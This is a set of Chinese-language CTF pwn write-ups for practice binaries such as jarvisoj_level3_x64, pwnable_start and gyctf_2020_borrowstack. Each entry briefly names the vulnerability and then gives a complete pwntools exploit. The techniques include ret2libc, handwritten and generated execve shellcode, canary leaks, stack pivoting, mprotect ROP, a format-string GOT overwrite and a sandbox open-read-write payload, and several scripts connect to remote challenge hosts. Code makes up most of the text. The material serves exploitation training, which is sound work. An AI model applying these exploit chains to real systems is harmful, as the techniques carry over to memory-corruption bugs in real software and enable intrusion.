wustctf2020_getshell
存在后门函数,直接栈溢出返回到后门函数即可。
exp
from pwn import *
io=process('wustctf2020_getshell')
payload=b'a'*(0x18+4)+p32(0x804851b)
io.sendline(payload)
io.interactive()
jarvisoj_level3_x64
64位NX保护
存在栈溢出,典型的ret2libc。
exp
from pwn import *
from LibcSearcher import *
#context(os = 'linux', arch = 'amd64', log_level='debug')
io=process('level3_x64')
#io=remote('node5.buuoj.cn',26377)
elf=ELF('level3_x64')
ret=0x400499
rdi=0x4006b3
main=0x40061a
rsi_r15=0x4006b1
gdb.attach(io)
pause()
payload1=b'a'*(0x88)+p64(rdi)+p64(1)+p64(rsi_r15)+p64(elf.got['read'])+p64(1)+p64(elf.plt['write'])+p64(ret)+p64(main)
io.sendline(payload1)
read_ad=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
#libc=ELF('libc-2.23.so')
base=read_ad-libc.sym['read']
print(hex(base))
sys=base+libc.sym['system']
sh=base+next(libc.search(b'/bin/sh'))
payload2=b'a'*(0x88)+p64(ret)+p64(rdi)+p64(sh)+p64(sys)
io.sendline(payload2)
io.interactive()
mrctf2020_shellcode
64位RELRO全开,开启了pie
无法使用F5进行反编译。
read函数读入0x400的数据,未开启NX保护
直接写入shellcode即可
exp
from pwn import *
context(os = 'linux', arch = 'amd64', log_level='debug')
io=process('mrctf2020_shellcode')
payload=asm(shellcraft.sh())
io.sendline(payload)
io.interactive()
bjdctf_2020_babyrop2
64位开启了NX保护和canary保护
gift中存在格式化字符串漏洞,可泄露canary。
vuln函数中存在栈溢出,接下来就是ret2libc了。
exp
from pwn import *
context(os = 'linux', arch = 'amd64', log_level='debug')
io=process('bjdctf_2020_babyrop2')
elf=ELF('bjdctf_2020_babyrop2')
ret=0x4005f9
rdi=0x400993
vuln=0x400887
io.sendline(b'%7$p')
io.recvuntil(b'0x')
canary=int(io.recv(16),16)
#gdb.attach(io)
#pause()
payload=b'a'*(0x18)+p64(canary)+b'a'*(0x8)+p64(rdi)+p64(elf.got['read'])+p64(elf.sym['puts'])+p64(vuln)
io.sendline(payload)
read_ad=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
base=read_ad-libc.sym['read']
print(hex(base))
sys=base+libc.sym['system']
sh=base+next(libc.search(b'/bin/sh'))
payload1=b'a'*(0x18)+p64(canary)+b'a'*(0x8)+p64(ret)+p64(rdi)+p64(sh)+p64(sys)
io.sendline(payload1)
io.interactive()
bjdctf_2020_router
64位NX保护
可以看到,选择1后,会直接将我们的输入作为system的参数,所以直接传入cat flag即可,要注意使用||或&分割,不然会传入其他数据,导致命令无法执行。
exp
from pwn import *
io=remote('node5.buuoj.cn',29872)
#io=process('./bjdctf_2020_router')
elf=ELF('bjdctf_2020_router')
io.sendline(b'1')
io.sendline(b'||cat flag')
io.interactive()
pwnable_orw
开启了沙盒保护,禁止了上图以外的系统调用。既然open,read,write都可以使用,那就是最简单的orw了。
exp
from pwn import *
context(os = 'linux', arch = 'i386', log_level='debug')
io=remote('node5.buuoj.cn',27275)
shellcode=shellcraft.open('/flag')
shellcode+=shellcraft.read('eax','esp',100)
shellcode+=shellcraft.write(1,'esp',100)
payload=asm(shellcode)
io.send(payload)
io.interactive()
.jarvisoj_level4
32位NX保护。
明显的栈溢出,没有什么特殊的保护,那么直接使用ret2libc即可。
exp
from pwn import *
from LibcSearcher import *
#context(os = 'linux', arch = 'i386', log_level='debug')
io=process('level4')
#io=remote('node5.buuoj.cn',26377)
elf=ELF('level4')
main=0x8048470
payload1=b'a'*(0x88+4)+p32(elf.plt['write'])+p32(main)+p32(1)+p32(elf.got['read'])+p32(4)
io.sendline(payload1)
read_got=u32(io.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
'''
libc=LibcSearcher('read',read_got)
base=read_got-libc.dump('read')
sys=base+libc.dump('system')
sh=base+libc.dump('str_bin_sh')
'''
libc=ELF('/lib/i386-linux-gnu/libc.so.6')
#libc=ELF('libc-2.23.so')
base=read_got-libc.sym['read']
sys=base+libc.sym['system']
sh=base+next(libc.search(b'/bin/sh'))
payload2=b'a'*(0x88+4)+p32(sys)+b'aaaa'+p32(sh)
io.sendline(payload2)
io.interactive()
picoctf_2018_buffer overflow 1
32位,保护全关。
存在栈溢出。
存在打印flag的函数。
ret2text即可
exp
from pwn import *
io=remote('node5.buuoj.cn',25040)
payload=b'a'*(0x28+4)+p32(0x80485cb)
io.sendline(payload)
io.interactive()
inndy_rop
32位NX保护
静态编译且存在栈溢出,mprotect函数没有被禁用,那么我们可以使用mprotect函数使一段内存变得可读可写可执行,然后向上面写入shellcode。
exp
from pwn import *
#io=remote('node5.buuoj.cn',25760)
io=process('./rop')
elf=ELF('./rop')
pop3_ret=0x08062d2b
mprotect=elf.symbols['mprotect']
read=elf.symbols['read']
payload=b'a'*(0xc+4)+p32(mprotect)+p32(pop3_ret)+p32(0x080Ec000)+p32(0x1000)+p32(0x7)+p32(read)+p32(pop3_ret)+p32(0)+p32(0x080Ec000)+p32(0x1000)+p32(0x080Ec000)
io.sendline(payload)
payload1= asm(shellcraft.sh())
io.sendline(payload1)
io.interactive()
jarvisoj_test_your_memory
32位NX保护
存在栈溢出。
找到system函数与cat flag。
注意要填写有效返回地址,不然cat的flag会在缓冲区无法打印出来。
exp
from pwn import *
io=remote('node5.buuoj.cn',25149)
#io=process('memory')
elf=ELF('memory')
#io.recvuntil(b'what???? : /n')
#hint=io.recv(9)
payload=b'a'*(0x13+4)+p32(elf.plt['system'])+p32(0x8048677)+p32(0x080487E0)
io.sendline(payload)
io.interactive()
[Black Watch 入群题]PWN
32位NX保护
buf溢出长度不够,可以在bss段构造rop链,再通过栈迁移执行bss段的代码。
exp
from pwn import *
io=remote('node5.buuoj.cn',28322)
#io=process('spwn')
elf=ELF('spwn')
main=0x8048513
leave=0x8048511
#gdb.attach(io)
#pause()
payload=b'aaaa'+p32(elf.plt['write'])+p32(main)+p32(1)+p32(elf.got['read'])+p32(4)
io.sendline(payload)
io.recv()
payload1=b'a'*(0x18)+p32(0x804A300)+p32(leave)
io.send(payload1)
read_got=u32(io.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
#libc=ELF('/lib/i386-linux-gnu/libc.so.6')
libc=ELF('libc-2.23.so')
base=read_got-libc.sym['read']
print(hex(base))
sys=base+libc.sym['system']
sh=base+next(libc.search(b'/bin/sh'))
payload2=b'aaaa'+p32(sys)+b'aaaa'+p32(sh)
io.sendline(payload2)
io.recv()
io.send(payload1)
io.interactive()
picoctf_2018_buffer overflow 2
32位NX保护
存在栈溢出
发现后门函数。给a1a2传入对应的值即可打印flag
exp
from pwn import *
io=remote('node5.buuoj.cn',28629)
#io=process('PicoCTF_2018_buffer_overflow_2')
elf=ELF('PicoCTF_2018_buffer_overflow_2')
payload=b'a'*(0x6c+4)+p32(0x80485cb)+p32(0)+p32(0xDEADBEEF)+p32(0xDEADC0DE)
io.sendline(payload)
io.interactive()
cmcc_simplerop
32位NX保护
静态编译,且主函数存在栈溢出。
直接使用mprotext函数即可,注意ida给出的偏移是错的,gdb调试可得,正确偏移应该是0x1c
exp
from pwn import *
#io=remote('node5.buuoj.cn',25760)
io=process('./simplerop')
elf=ELF('./simplerop')
pop3_ret=0x806e828
mprotect=elf.symbols['mprotect']
read=elf.symbols['read']
payload=b'a'*(0x1c+4)+p32(mprotect)+p32(pop3_ret)+p32(0x080EB000)+p32(0x1000)+p32(0x7)+p32(read)+p32(pop3_ret)+p32(0)+p32(0x080EB000)+p32(0x1000)+p32(0x080EB000)
io.sendline(payload)
payload1=asm(shellcraft.sh())
io.sendline(payload1)
io.interactive()
wustctf2020_getshell_2
32位NX保护
存在栈溢出,但可溢出空间较少
发现后门函数,虽然参数不是/bin/sh,但最后两位是sh,可以作为/bin/sh使用。
但不能直接返回到shell函数,需要调用system函数再传参,由于给出的溢出空间很小,所以我们不能调用systemplt,但是已经给出了system函数的话,直接找到call system即可。
exp
from pwn import *
#io=remote('node5.buuoj.cn',28629)
io=process('wustctf2020_getshell_2')
elf=ELF('wustctf2020_getshell_2')
payload=b'a'*(0x18+4)+p32(0x8048529)+p32(0x08048670)
io.send(payload)
io.interactive()
bbys_tu_2016
32位NX保护
主函数存在栈溢出,
存在后门函数。
exp
from pwn import *
io=remote('node5.buuoj.cn',29058)
#io=process('bbys_tu_2016')
elf=ELF('bbys_tu_2016')
payload=b'a'*(0x14+4)+p32(0x804856d)
io.send(payload)
io.interactive()
xdctf2015_pwn200
32位NX保护
存在栈溢出,ret2libc解决。
exp
from pwn import *
from LibcSearcher import *
#context(os = 'linux', arch = 'i386', log_level='debug')
io=process('bof')
#io=remote('node5.buuoj.cn',26377)
elf=ELF('bof')
main=0x804851c
payload1=b'a'*(0x6c+4)+p32(elf.plt['write'])+p32(main)+p32(1)+p32(elf.got['read'])+p32(4)
io.sendline(payload1)
read_got=u32(io.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
'''
libc=LibcSearcher('read',read_got)
base=read_got-libc.dump('read')
sys=base+libc.dump('system')
sh=base+libc.dump('str_bin_sh')
'''
libc=ELF('/lib/i386-linux-gnu/libc.so.6')
#libc=ELF('libc-2.23.so')
base=read_got-libc.sym['read']
sys=base+libc.sym['system']
sh=base+next(libc.search(b'/bin/sh'))
payload2=b'a'*(0x6c+4)+p32(sys)+b'aaaa'+p32(sh)
io.sendline(payload2)
io.interactive()
ciscn_2019_s_4
32位NX保护
栈溢出空间不够,使用栈迁移。在原有栈空间构造rop链。
存在system函数
exp
from pwn import *
#io=remote('node5.buuoj.cn',29058)
io=process('ciscn_s_4')
elf=ELF('ciscn_s_4')
leave=0x8048562
payload=b'a'*(0x24)+b'b'*(0x4)
io.send(payload)
io.recvuntil('bbbb')
ebp=u32(io.recv(4).ljust(4,b'\x00'))
payload1=(b'aaaa'+p32(elf.plt['system'])+b'aaaa'+p32(ebp-0x28)+b'/bin/sh').ljust(0x28,b'\x00')+p32(ebp-0x38)+p32(leave)
io.send(payload1)
io.interactive()
wustctf2020_closed
64位NX保护
直接给出了shell,但是关闭了标准输出和标准错误,所以我们无法看到flag,可以使用exec 1>&0命令打开标准输出。
直接输入exec 1>&0,即可ls。
[ZJCTF 2019]Login
64位开启了NX保护和canary。
主函数中给出了账号和密码。
存在后门函数。
于是第一时间的想法是输入账号和密码来获得shell,但是并没有什么用。
问题出在检查密码的函数上,这里汇编代码中,call了一个rax。向上寻找,发现
可以通过将var_18覆盖为backdoor来获取shell。
exp
from pwn import *
io=process('login')
#io = remote('node4.buuoj.cn',26621)
backdoor = 0x400e88
io.sendlineafter(': ','admin')
io.sendlineafter(': ','2jctf_pa5sw0rd'+'\x00'*0x3a+p64(backdoor))
io.interactive()
jarvisoj_level1
32位,保护全关
给出了buf的地址,直接在栈上写入shellcode,然后再将返回地址覆盖为栈的地址即可执行shellcode。
exp
from pwn import *
io=process('level1')
io.recvuntil(b'this:0x')
buf=int(io.recv(8),16)
shellcode=asm(shellcraft.sh())
payload=shellcode。ljust(0x88+4,b'\x00')+p32(buf)
io.sendline(payload)
io.interactive()
axb_2019_fmt32
32位NX保护
存在格式化字符串漏洞,并且是一个死循环。
先通过%s泄露libcbase
再将printf函数的got表改为system函数。
exp
from pwn import *
#io=remote('node5.buuoj.cn',28029)
io=process('axb_2019_fmt32')
elf=ELF('axb_2019_fmt32')
printf_got=elf.got['printf']
payload=b'a'+p32(elf.got['printf'])+b'22'+b'%8$s'
io.sendline(payload)
io.recvuntil(b'22')
printf=u32(io.recv(4))
#libc=ELF('libc-2.23.so')
libc=ELF('/lib/i386-linux-gnu/libc.so.6')
base=printf-libc.sym['printf']
print(hex(base))
system=base+libc.sym['system']
payload1=b'a'+fmtstr_payload(8,{printf_got:system},write_size = "byte",numbwritten = 0xa)
io.sendline(payload1)
io.sendline(";/bin/sh\x00")
io.interactive()
.others_babystack
64位,RELRO全开,开启了NX保护和canary。
通过12选项可泄露canary,然后再通过13选项反复执行read函数中的栈溢出,使用ret2libc。
exp
from pwn import *
from LibcSearcher import *
#io=remote('node5.buuoj.cn',25135)
io=process('./babystack')
elf=ELF('./babystack')
io.sendlineafter(">>",'1')
payload='a'*(0x80+8)
io.sendline(payload)
io.sendlineafter('>>','2')
io.recvuntil('a\n')
canary=u64(io.recv(7).rjust(8,b'\x00'))
pop_rdi=0x400a93
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
main_addr=0x400908
payload=b'a'*(0x80+8)+p64(canary)+b'a'*(0x8)
payload+=p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
io.sendlineafter(">>",'1')
io.sendline(payload)
io.sendlineafter(">>",'3')
io.recv()
puts_addr=u64(io.recv(6).ljust(8,b'\x00'))
libc=LibcSearcher('puts',puts_addr)
libc_base=puts_addr-libc.dump('puts')
system=libc_base+libc.dump('system')
binsh=libc_base+libc.dump('str_bin_sh')
payload=b'a'*(0x80+8)+p64(canary)+p64(0)
payload+=p64(pop_rdi)+p64(binsh)+p64(system)
io.sendlineafter('>>','1')
io.sendline(payload)
io.sendlineafter('>>','3')
io.interactive()
picoctf_2018_shellcode
32位保护全关。静态编译
存在栈溢出。
直接写入shellcode即可。
exp
from pwn import *
io=remote('node3.buuoj.cn',29126)
io.sendline(asm(shellcraft.sh()))
io.interactive()
ciscn_2019_s_9
32位,保护全关
直接写入shellcode,但栈空间太小了pwntolls直接生成的shellcode无法使用,需要我们自己写shellcode。
exp
from pwn import *
#io=remote('node5.buuoj.cn',26697)
io=process('./ciscn_s_9')
jmp=0x08048554
shellcode=asm('xor ecx,ecx;xor edx,edx;push edx;push 0x68732f6e;push 0x69622f2f ;mov ebx,esp;mov al,0xb;int 0x80')
payload=shellcode.ljust(0x24,b'\x00')+p32(jmp)
payload+=asm("sub esp,40;call esp")
io.sendline(payload)
io.interactive()
pwnable_start
只有两个函数。
大意就是调用了一个write函数和一个存在栈溢出的read函数后return。
于是我们可以写入shellcode并执行。但由于pwntolls生成的shellcode长度大于栈,所以我们需要手写一段汇编。
exp
from pwn import *
context.log_level="debug"
io=process('./start')
#p=remote('node3.buuoj.cn',26163)
payload=b'A'*0x14+p32(0x8048087)
io.sendafter("Let's start the CTF:",payload)
stack_addr=u32(io.recv(4))
shellcode=asm('xor ecx,ecx;xor edx,edx;push edx;push 0x68732f6e;push 0x69622f2f;mov ebx,esp;mov al,0xb;int 0x80')
payload=b'A'*0x14+p32(stack_addr+0x14)+shellcode
io.send(payload)
io.interactive()
gyctf_2020_borrowstack
64位NX保护
bank在bss段由于read可溢出空间小,所以我们需要栈迁移到bank上执行,
但是由于bank距离got很近,我们构造的payload会覆盖 got 表,所以使用ret来抬高栈。
exp
from pwn import *
io=remote('node5.buuoj.cn',26605)
elf=ELF('./gyctf_2020_borrowstack')
bank=0x601080
rdi=0x400703
ret=0x4004c9
leave=0x400699
io.recv()
payload=b'a'*0x60+p64(bank)+p64(leave)
io.send(payload)
io.recv()
payload=p64(ret)*20+p64(rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(elf.sym['main'])
io.send(payload)
puts_addr=u64(io.recv(6).ljust(8,b'\x00'))
libc=ELF("./libc-2.23.so")
libcbase=puts_addr-libc.sym['puts']
one_gadget=libcbase+0x4526a
payload=b'a'*0x68+p64(one_gadget)
io.sendline(payload)
io.interactive()